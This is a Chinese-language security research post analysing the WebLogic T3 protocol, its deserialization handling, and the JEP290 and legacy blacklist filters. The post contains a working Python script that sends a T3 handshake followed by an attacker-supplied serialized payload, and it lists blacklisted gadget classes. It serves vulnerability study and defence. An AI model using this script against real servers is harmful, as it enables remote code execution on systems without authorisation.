Weblogic T3 协议学习
首先构造 rmi 服务端,以便观察数据包
本页目录
How to Implement WebLogic RMI
首先构造 rmi 服务端,以便观察数据包
根据官方文档,直接生成 jar 包

将生成的jar包放到测试domain的lib目录下

将目标server类配置为启动类

重启 weblogic 后即可进行调用

流量解析
红色部分为 request
蓝色部分为 response
P.S. 此节当时用了12.1.3.0.0版本,本文其他内容均为12.2.1.4.0版本

通过ac ed 00 05筛选出请求反序列化部分依次为
weblogic.rjvm.ClassTableEntryweblogic.rjvm.ClassTableEntryweblogic.rjvm.ClassTableEntryweblogic.rjvm.JVMIDweblogic.rjvm.JVMID---weblogic.rjvm.ClassTableEntryweblogic.rjvm.ImmutableServiceContext---weblogic.rjvm.ImmutableServiceContextT3 协议利用
根据数据包请求内容,我们主体需要分为两部分进行发送
-
握手🤝
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://10.211.55.20:7001\nLP:DOMAIN\n\n -
序列化数据
这里涉及两种方式,实际上也算是同一种
-
将上面提到的序列化部分其中一项改为恶意 payload
-
取消所有序列化部分,在下面数据后直接拼接恶意 payload
000005fe016501ffffffffffffffff000000710000ea60000000184f0fb5416958bf21f2810099d59af6a410012655b1f4c837027973720078720178720278700000000c00000002000000000000000400000001007070707070700000000c00000002000000000000000400000001007006fe010000
-
最简单的情况当然是后者,下面是利用脚本,注意头 4 字节为数据总长度
import socketimport structimport sys
def send(ip, port, file): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5)
server = (ip, port) sock.connect(server)
# Handshake handshake = b"t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://10.211.55.20:7001\nLP:DOMAIN\n\n" print("[>] Sending: %s" % handshake) sock.sendall(handshake)
# Receive message = sock.recv(1024) print("[<] Receive: %s" % message)
# Send Payload Obj = open(file, 'rb').read() payload = b"\x00\x00\x05\xfe\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x0f\xeb\x30\x46\x27\x2d\x8c\xc7\x52\x16\xbb\xd1\x9e\x42\x00\xdc\x6a\x8e\x80\xbe\xbb\x7e\xd5\xbe\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00" payload += Obj payload = struct.pack(">I", len(payload)) + payload[4:] # print("[*] Sending Payload: %s" % payload) print("[>] Sending Payload ...") sock.sendall(payload)
# Receive message = sock.recv(1024) print("[<] Receive: %s" % message) except Exception as e: print("[!] Error: %s" % e)
if __name__ == '__main__': if len(sys.argv) < 4: print("Usage: python t3protocol.py 127.0.0.1 7001 payload.bin") exit() send(sys.argv[1], int(sys.argv[2]), sys.argv[3])T3 解析过程
为了下断点,先将 src.zip 加入到 Classpath 中

readObject:71, BadAttributeValueExpException (javax.management)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1158, ObjectStreamClass (java.io)readSerialData:2173, ObjectInputStream (java.io)readOrdinaryObject:2064, ObjectInputStream (java.io)readObject0:1568, ObjectInputStream (java.io)readObject:428, ObjectInputStream (java.io)readObject:73, InboundMsgAbbrev (weblogic.rjvm)read:45, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)init:219, MsgAbbrevInputStream (weblogic.rjvm)dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:993, SocketMuxer (weblogic.socket)readReadySocket:929, SocketMuxer (weblogic.socket)process:599, NIOSocketMuxer (weblogic.socket)processSockets:563, NIOSocketMuxer (weblogic.socket)run:30, SocketReaderRequest (weblogic.socket)execute:43, SocketReaderRequest (weblogic.socket)execute:147, ExecuteThread (weblogic.kernel)run:119, ExecuteThread (weblogic.kernel)具体过程可见https://www.anquanke.com/post/id/201432#h2-3
不再赘述
过滤机制
JEP290
JEP290主要描述了这么几个机制:
- 提供一个限制反序列化类的机制,白名单或者黑名单
- 限制反序列化的深度和复杂度
- 为RMI远程调用对象提供了一个验证类的机制
- 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器

1. filterCheck in JDK
我们通过在8u151版本下实现RMI,并尝试用cc3反序列化来查看机制如何进行过滤


跟入 checkInput,serialFilter为sun.rmi.registry.RegistryImpl对象,所以实际进入到rt.jar!sun.rmi.registry.RegistryImpl#registryFilter进行过滤
可以看到对深度、数组大小和基本类型做了判断

以及最后的这段
String.class != var2&& !Number.class.isAssignableFrom(var2)&& !Remote.class.isAssignableFrom(var2)&& !Proxy.class.isAssignableFrom(var2)&& !UnicastRef.class.isAssignableFrom(var2)&& !RMIClientSocketFactory.class.isAssignableFrom(var2)&& !RMIServerSocketFactory.class.isAssignableFrom(var2)&& !ActivationID.class.isAssignableFrom(var2)&& !UID.class.isAssignableFrom(var2)? Status.REJECTED : Status.ALLOWED;直接禁用了sun.reflect.annotation.AnnotationInvocationHandler,所以返回了Status.REJECTED
“JSON反序列化之殇_看雪安全开发者峰会”的时序图

2. Weblogic without JEP290
通过上面在 JDK 中的抵用栈信息,可以看到在 weblogic 中是通过weblogic.rjvm.InboundMsgAbbrev#readObject进入的java.io.ObjectInputStream

我们跟进ServerChannelInputStream看一下

再看一下ServerChannelInputStream的继承关系

即ServerChannelInputStream继承自FilteringObjectInputStream,并通过重写resolveClass、resolveProxyClass从而进行反序列化过滤防御
我们跟进checkLegacyBlacklistIfNeeded看一下,到这weblogic.utils.io.oif.WebLogicObjectInputFilter#checkLegacyBlacklistIfNeeded会根据是否支持JEP290自带过滤,在不可用情况下会使用isBlacklistedLegacy进行防御

至于哪里调用JEP290过滤先放一边,我们先看下isBlacklistedLegacy

如果类名第一个字符为[(数组),或为primitiveTypes中的某项,就不会进行检测

之后会检查类型类名、包名是否在LEGACY_BLACKLIST中,有一项不符即回到上面抛出异常
我们看看LEGACY_BLACKLIST是怎么来的

跟进weblogic.utils.io.oif.WebLogicFilterConfig可以发现 BLACKLIST 取决于constructLegacyBlacklist方法,考虑上下文追溯至processLegacyBlacklistProperties,因为我们考虑的是不支持 JEP290 的情况,所以进入到最后的 else 分支中

所以 BLACKLIST 来源主要来自以下三处
private static final String[] DEFAULT_BLACKLIST_PACKAGES = new String[]{"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server", "org.jboss.interceptor.builder", "org.jboss.interceptor.reader", "org.jboss.interceptor.proxy", "org.jboss.interceptor.spi.metadata", "org.jboss.interceptor.spi.model", "com.bea.core.repackaged.springframework.aop.aspectj", "com.bea.core.repackaged.springframework.aop.aspectj.annotation", "com.bea.core.repackaged.springframework.aop.aspectj.autoproxy", "com.bea.core.repackaged.springframework.beans.factory.support", "org.python.core"};private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler", "com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.RemoteObject"};System.getProperty("weblogic.rmi.blacklist");3. JEP290 in Weblogic
回到 JEP290 调用栈,我们知道最后是调用filterCheck进行的过滤

跟入,此时serialFilter为sun.misc.ObjectInputFilter对象(注意 JDK 为8u151)

maxdepth=100;!org.codehaus.groovy.runtime.ConvertedClosure;!org.codehaus.groovy.runtime.ConversionHandler;!org.codehaus.groovy.runtime.MethodClosure;!org.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.UnicastRemoteObject;!java.rmi.server.RemoteObjectInvocationHandler;!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.RemoteObject;!org.apache.commons.collections.functors.*;!com.sun.org.apache.xalan.internal.xsltc.trax.*;!javassist.*;!java.rmi.activation.*;!sun.rmi.server.*;!org.jboss.interceptor.builder.*;!org.jboss.interceptor.reader.*;!org.jboss.interceptor.proxy.*;!org.jboss.interceptor.spi.metadata.*;!org.jboss.interceptor.spi.model.*;!com.bea.core.repackaged.springframework.aop.aspectj.*;!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*;!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*;!com.bea.core.repackaged.springframework.beans.factory.support.*;!org.python.core.*看上面过滤的类是不是很熟悉,实际也是weblogic.utils.io.oif.WebLogicFilterConfig生成的 filter
跟入sun.misc.ObjectInputFilter.Config.Global#checkInput,整体代码和registryFilter中的类似,红框处是进行serialFilter黑名单匹配
这里用到了 Function<T, U> 接口和 lambda 语法

下面是 filter 通过生解析生成过程,需要在 weblogic 启动时下断点观察,传入的值和serialFilter是一致的

如果返回 null 或者 REJECTED 都会抛出异常结束反序列化流程